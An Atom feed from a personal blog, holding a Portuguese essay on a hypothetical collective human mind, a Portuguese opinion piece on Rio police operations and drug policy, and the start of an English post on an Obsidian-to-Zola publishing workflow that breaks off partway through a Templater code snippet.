<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<title>biscoito – posts</title>
	<subtitle>hello, welcome to my personal thoughts and ideas.</subtitle>
	<link href="https://biscoito.eu/posts/feed.xml" rel="self" type="application/atom+xml"/>
    <link href="https://biscoito.eu/posts/"/>
	<updated>2026-03-25T05:10:24.695813665+00:00</updated>
	<id>https://biscoito.eu/posts/feed.xml</id>
	<entry xml:lang="en">
		<title>mente coletiva</title>
		<published>2026-03-12T00:00:00+00:00</published>
		<updated>2026-03-12T00:00:00+00:00</updated>
		<link href="https://biscoito.eu/posts/mente-coletiva/" type="text/html"/>
		<id>https://biscoito.eu/posts/mente-coletiva/</id>
		<content type="html">&lt;p&gt;outro dia tava eu pensando em fazer um caldo de galinha. osso de pescoço, dorso. e enquanto ficava ali eu comecei a pensar numa coisa meio maluca: e se a humanidade inteira fosse conectada numa mente só?&lt;&#x2F;p&gt;
&lt;p&gt;todo mundo sentindo o que todo mundo sente. todo mundo sabendo o que todo mundo sabe. parece bonito né. ninguém mais sozinho, ninguém mais incompreendido. o matadouro fecha porque agora você sente a dor do animal. a fome acaba porque a logística se resolve sozinha quando oito bilhões de cérebros trabalham juntos. parece o upgrade definitivo da espécie.&lt;&#x2F;p&gt;
&lt;p&gt;mas aí eu fui puxando mais o fio.&lt;&#x2F;p&gt;
&lt;p&gt;pensa no seu relacionamento, o que faz ele significar alguma coisa eh justamente o esforço. eh seu parceiro às duas da manhã tentando achar a palavra certa e errando. é aquele momento de vulnerabilidade quando alguem fala &quot;não sei se você vai entender mas...&quot; e aí a pessoa entende e aquilo eh mágico. na mente coletiva isso n existe. seu parceiro não escolhe te entender. ele simplesmente entende. automaticamente. e quando você tira a escolha você tira o significado inteiro. é tipo a diferença entre alguém te escrever uma carta à mão toda torta e um algoritmo gerar a resposta perfeita. a carta imperfeita é o amor. o algoritmo é só eficiência.&lt;&#x2F;p&gt;
&lt;p&gt;e eficiência é inimiga do significado.&lt;&#x2F;p&gt;
&lt;p&gt;vai mais fundo, pensa na política. democracia inteira é construída em cima de pessoas com conhecimento incompleto e experiências diferentes se juntando, discutindo, brigando, cedendo e chegando em algo imperfeito mas que todo mundo ajudou a construir. na mente coletiva pra que representante? pra que debate? a resposta ótima simplesmente aparece. e talvez seja até uma resposta melhor objetivamente. mas ninguém lutou por ela. ninguém sacrificou nada. ninguém cedeu. entao ninguém valoriza.&lt;&#x2F;p&gt;
&lt;p&gt;eh como a diferença entre construir sua casa com as próprias mãos e ganhar uma de presente. vc cuida da que vc construiu.&lt;&#x2F;p&gt;
&lt;p&gt;e o conhecimento? hoje em dia a luta de aprender algo te transforma. um estudante de medicina não só memoriza coisa por oito anos. ele vira outra pessoa no processo. o esforço é o ponto. se você pode só acessar o conhecimento de qualquer pessoa instantaneamente você pega a informação mas perde o crescimento. vira uma biblioteca ambulante em vez de uma pessoa.&lt;&#x2F;p&gt;
&lt;p&gt;o mais bizarro é que isso &lt;strong&gt;não vai acontecer de propósito&lt;&#x2F;strong&gt;. ninguém vai sentar e planejar uma mente coletiva. vai acontecer do mesmo jeito que aconteceu com o celular. ngm te obrigou a ter um. mas &lt;strong&gt;tenta viver sem&lt;&#x2F;strong&gt;. tenta arrumar emprego, se localizar numa cidade, manter contato com as pessoas. a &quot;escolha&quot; tecnicamente existe mas na prática não.&lt;&#x2F;p&gt;
&lt;p&gt;com interface cerebral vai ser igual. começa com medicina. um cara trancado no próprio corpo finalmente consegue se comunicar através de um implante. isso é lindo, ninguém discorda. depois vem conveniência. pra que fazer se a inteligência artificial faz pra você? pra que digitar se vc pode pensar? pra que falar se vc pode transmitir exatamente o que sente? cada passo faz sentido sozinho. cada passo é voluntário. e cada passo te puxa mais pra dentro.&lt;&#x2F;p&gt;
&lt;p&gt;uma decisão razoável por vez. cada geração achando os limites da anterior antiquados. ate que sair fora pareça sair fora de ser humano.&lt;&#x2F;p&gt;
&lt;p&gt;e é aí que tá a ironia mais cruel. porque a coisa que realmente nos faz humanos é o atrito. é não saber. é a discussão no jantar antes de alguém poder pesquisar no google. é tentar explicar o que você sente e não conseguir e tentar de novo. é o espaço entre uma pessoa e outra.&lt;&#x2F;p&gt;
&lt;p&gt;a gente sempre achou que esse espaço era o problema. que se fechasse todas as lacunas, respondesse todas as perguntas, sentisse tudo antes de precisar ser dito, aí sim estaria completo.&lt;&#x2F;p&gt;
&lt;p&gt;mas o espaço era onde a gente guardava tudo que importava.&lt;&#x2F;p&gt;
&lt;p&gt;a tentativa de alcançar o outro, essa coisa teimosa, linda e completamente desnecessária, talvez seja a única coisa realmente sagrada que a gente tem.&lt;&#x2F;p&gt;
&lt;p&gt;e a gente tá abrindo mão dela aos poucos sem nem perceber.&lt;&#x2F;p&gt;
&lt;p&gt;feito em parceria com quem não sente nada disso.&lt;&#x2F;p&gt;
&lt;p&gt;gostou? assista: &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.imdb.com&#x2F;title&#x2F;tt22202452&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.imdb.com&#x2F;title&#x2F;tt22202452&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
	</entry>
	<entry xml:lang="en">
		<title>Sobre a última operação no Rio de Janeiro</title>
		<published>2025-10-29T00:00:00+00:00</published>
		<updated>2025-10-29T00:00:00+00:00</updated>
		<link href="https://biscoito.eu/posts/sobre-a-ultima-operacao-no-rio-de-janeiro/" type="text/html"/>
		<id>https://biscoito.eu/posts/sobre-a-ultima-operacao-no-rio-de-janeiro/</id>
		<content type="html">&lt;p&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;nWchoLS-hpw&quot;&gt;https:&#x2F;&#x2F;youtu.be&#x2F;nWchoLS-hpw&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Vamos analisar essa operação de forma fria, olhando apenas para os resultados, sem ideologia.&lt;&#x2F;p&gt;
&lt;p&gt;Há 40 anos, a estratégia eh a mesma: confronto, ocupação temporária e um saldo de mortos. A pergunta objetiva é: &lt;strong&gt;funcionou?&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;O Rio de Janeiro tá mais seguro hoje do que há 20 anos? O poder das facções diminuiu?&lt;&#x2F;p&gt;
&lt;p&gt;A resposta clara é não. Na verdade, elas estão mais ricas, mais bem armadas e controlam mais territórios do que nunca.&lt;&#x2F;p&gt;
&lt;p&gt;Isso não é uma opinião, é um fato. Então, se a estratégia falha repetidamente, por que insistimos nela?&lt;&#x2F;p&gt;
&lt;p&gt;O ponto central é que essa tática de &quot;guerra&quot; atinge apenas a base da pirâmide: &lt;strong&gt;o jovem varejista, que é facilmente substituível&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;É como podar os galhos de uma erva daninha esperando que ela morra. Enquanto isso, a raiz do problema — o fluxo de dinheiro, a lavagem de capital e a entrada de armas pesadas — continua intocada e mais forte.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Isso não é sobre defender bandido.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;É sobre ser mais inteligente e eficaz que ele. O verdadeiro golpe no crime não é com fuzil na favela, é com &lt;strong&gt;inteligência na conta bancária e nas fronteiras&lt;&#x2F;strong&gt;. É asfixiar a organização financeiramente.&lt;&#x2F;p&gt;
&lt;p&gt;E aqui chegamos à causa principal que alimenta tudo isso, a Guerra contra às Drogas.&lt;&#x2F;p&gt;
&lt;p&gt;É a proibição que torna a droga um produto de altíssimo lucro, financiando a compra de fuzis e a corrupção de agentes.&lt;&#x2F;p&gt;
&lt;p&gt;A &quot;Guerra contra às Drogas&quot; é o modelo de negócio do tráfico. Acabar com ela não significa &quot;liberar geral&quot;, mas sim tirar o poder e o monopólio das mãos do criminoso e trazer para o controle do Estado.&lt;&#x2F;p&gt;
&lt;p&gt;É tratar o vício como saúde pública (o que é mais barato e eficaz) e cortar o oxigênio financeiro que sustenta essa guerra.&lt;&#x2F;p&gt;
&lt;p&gt;Continuar com a mesma estratégia de confronto é, na prática, escolher continuar perdendo e garantir que o tráfico permaneça poderoso e lucrativo.&lt;&#x2F;p&gt;
&lt;p&gt;A questão não é ser &quot;de direita&quot; ou &quot;de esquerda&quot;, é ser a favor de uma estratégia que funcione ou de uma que &lt;strong&gt;comprovadamente falhou&lt;&#x2F;strong&gt;, e &lt;strong&gt;continua falhando&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
</content>
	</entry>
	<entry xml:lang="en">
		<title>My Obsidian -&gt; Zola Blog workflow</title>
		<published>2025-09-11T00:00:00+00:00</published>
		<updated>2025-09-11T00:00:00+00:00</updated>
		<link href="https://biscoito.eu/posts/my-obsidian-zola-blog-workflow/" type="text/html"/>
		<id>https://biscoito.eu/posts/my-obsidian-zola-blog-workflow/</id>
		<content type="html">&lt;h2 id=&quot;abstract&quot;&gt;Abstract&lt;a class=&quot;zola-anchor&quot; href=&quot;#abstract&quot; aria-label=&quot;Anchor link for: abstract&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;It&#x27;s been quite a long time since I wanted to have such a straightforward and easy-to-use way of writing blog posts and synchronizing them directly into my &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;biscoito.eu&quot;&gt;website&lt;&#x2F;a&gt; in a way that favors flexibility and convenience.&lt;&#x2F;p&gt;
&lt;p&gt;Just recently I decided to finally get this to work and I will show how everything works alongside with everything that&#x27;s needed to make it work (it&#x27;s all open-source anyway).&lt;&#x2F;p&gt;
&lt;p&gt;To be more specific and technical, I can basically have Obsidian (synced across all my devices with Obsidian Sync), to sync with my website GitHub repository through a simple commit and push, and to have my website automatically updated with a GitHub workflow that triggers on push, a simple building process for Zola and rsyncing with my VPS running a simple Caddy web-server with docker-compose.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;why-zola-over-the-competition&quot;&gt;Why Zola Over the Competition&lt;a class=&quot;zola-anchor&quot; href=&quot;#why-zola-over-the-competition&quot; aria-label=&quot;Anchor link for: why-zola-over-the-competition&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;Let&#x27;s start with the first decision: why did I choose Zola over Hugo, Jekyll, or even 11ty?&lt;&#x2F;p&gt;
&lt;p&gt;Zola is a simple static site generator that leverages Rust&#x27;s powerful ecosystem and performance. The main difference between Zola and other static site generators is that Zola uses a custom and powerful templating engine called Tera, which gives you even more extensibility while keeping things simple.&lt;&#x2F;p&gt;
&lt;p&gt;Here&#x27;s what makes Zola actually compelling:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Performance and Reliability&lt;&#x2F;strong&gt;: Zola&#x27;s built on Rust, which means blazing-fast build times and memory safety. When you&#x27;re dealing with hundreds of blog posts, this stuff actually matters.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Single Binary&lt;&#x2F;strong&gt;: Unlike Jekyll with all its Ruby gem dependencies or Hugo&#x27;s occasional quirks, Zola ships as a single binary. No missing dependencies, no version conflicts, just works.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Built-in Features&lt;&#x2F;strong&gt;: Syntax highlighting, Sass compilation, image processing, and multilingual support all come out of the box. You don&#x27;t need to hunt for plugins or worry about compatibility.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Content Organization&lt;&#x2F;strong&gt;: Zola&#x27;s approach to content structure just makes sense—sections, pages, and taxonomies work exactly as you&#x27;d expect them to.&lt;&#x2F;p&gt;
&lt;p&gt;I also consider myself a proud Rust enjoyer, working with the language basically every day. Supporting well-structured Rust projects with extensive documentation aligns with what I like, so that&#x27;s a bonus.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-philosophy-of-automation-and-llms&quot;&gt;The Philosophy of Automation and LLMs&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-philosophy-of-automation-and-llms&quot; aria-label=&quot;Anchor link for: the-philosophy-of-automation-and-llms&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;I&#x27;ve been experimenting extensively with Large Language Models, and I tend to ask them about basically everything that I find can be automated or rapidly implemented rather than &quot;wasting my time&quot; on repetitive research tasks.&lt;&#x2F;p&gt;
&lt;p&gt;But let me be clear about this &quot;wasting time&quot; concept. There&#x27;s this weird false choice people make between &quot;doing it yourself&quot; and &quot;being lazy.&quot; LLMs are basically extremely knowledgeable research assistants who never sleep and have read practically everything on the internet.&lt;&#x2F;p&gt;
&lt;p&gt;When I say &quot;wasting time,&quot; I&#x27;m not saying deep learning is useless. I&#x27;m just making a conscious choice about where to spend my brain power. Spending hours manually researching &quot;best static site generator 2024&quot; across dozens of blog posts is like manually copying data when you could write a script to do it in seconds.&lt;&#x2F;p&gt;
&lt;p&gt;The shift here is pretty significant: we&#x27;re moving from information gathering being the bottleneck to information synthesis and decision-making being the valuable skills. LLMs are great at the former but still need human judgment for the latter.&lt;&#x2F;p&gt;
&lt;p&gt;This does come with some &quot;data uncertainty&quot;—the knowledge that AI-gathered information might have inaccuracies or biases. But honestly, this uncertainty exists in all research methods. At least with LLMs, I can iterate quickly through multiple research angles.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-research-process-and-tool-selection&quot;&gt;The Research Process and Tool Selection&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-research-process-and-tool-selection&quot; aria-label=&quot;Anchor link for: the-research-process-and-tool-selection&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;For this project, I used Google Gemini 2.5 Pro with the &quot;Deep Research&quot; feature, which crawls through web results, analyzes them, and generates comprehensive reports on the gathered data. This drastically improves research speed at the cost of possible &quot;data uncertainty.&quot;&lt;&#x2F;p&gt;
&lt;p&gt;Gemini recommended Zola, Caddy, and GitHub workflows for my Finland-based Hetzner VPS setup, which worked perfectly for what I needed: simplicity, performance, and easy maintenance.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-complete-technical-setup&quot;&gt;The Complete Technical Setup&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-complete-technical-setup&quot; aria-label=&quot;Anchor link for: the-complete-technical-setup&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;My workflow creates a pretty seamless pipeline from thought to published post. Here&#x27;s how each piece fits together:&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-content-creation-with-obsidian&quot;&gt;1. Content Creation with Obsidian&lt;a class=&quot;zola-anchor&quot; href=&quot;#1-content-creation-with-obsidian&quot; aria-label=&quot;Anchor link for: 1-content-creation-with-obsidian&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h3&gt;
&lt;p&gt;Obsidian serves as my writing environment with two key plugins:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Templater Plugin&lt;&#x2F;strong&gt;: Creates new blog posts from a template that asks for all the metadata I need:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;%&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment&quot;&gt; Get the post title and use it to rename the file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;const&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-constant&quot;&gt; title&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; await&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; tp&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt;system&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;prompt&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;Post title&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment&quot;&gt; Clean the title to make it filename-safe&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;const&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-constant&quot;&gt; cleanTitle&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; title&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt;&amp;lt;&amp;gt;:&amp;quot;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt;|?*&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt;]&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;g&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt;\s&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;+&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;g&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;-&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;await&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; tp&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt;file&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;rename&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt;cleanTitle&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;-&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;%&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;--&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;title&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;lt;% title %&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;description&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;lt;% tp.system.prompt(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt;Post&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; description&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;) %&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;date&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;%&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; tp&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt;date&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;now&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;YYYY-MM-DD&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; %&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;updated&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;%&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; tp&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt;date&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;now&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;YYYY-MM-DD&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; %&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;draft&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;categories&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;lt;% tp.system.prompt(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt;Primary&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; category&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;) %&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;tags&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;%&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;const&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-constant&quot;&gt; tags&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; await&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; tp&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt;system&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;prompt&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;Tags (comma separated)&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
